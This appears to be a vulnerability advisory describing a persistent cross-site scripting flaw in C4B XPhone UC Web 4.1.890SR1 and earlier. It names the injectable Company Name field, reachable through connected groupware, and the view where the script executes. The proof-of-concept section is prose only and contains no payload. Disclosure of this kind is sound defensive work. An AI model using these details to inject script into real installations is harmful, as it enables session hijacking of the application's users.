  Details:
  ========
  A persistent Cross-Site Scripting vulnerability has been detected on C4B XPhone UC Web v4.1.890SR1 and versions below. 
  The bug allows an attacker to inject arbitrary script code on the application side (persistent) via for example 
  a connected groupware application like Microsoft Outlook or IBM Lotus Notes. The injected script code is 
  executed on every client who is searching for details of the manipulated user on the web application. Successful 
  exploitation of the vulnerability can therefor lead to session hijacking or stable (persistent) context manipulation.
  
  Vulnerable Module(s):
  [+] Work => Home/Work => Company Name (Input)
  [+] Contact Phone Listing => Company Name Display Conversation (Output)

  Proof of Concept:
  =================
  The vulnerability can be exploited by a remote attacker who is able to change his own Groupware details to inject arbitrary code 
  like shown on the screenshots, which results in a persistent context manipulation ...
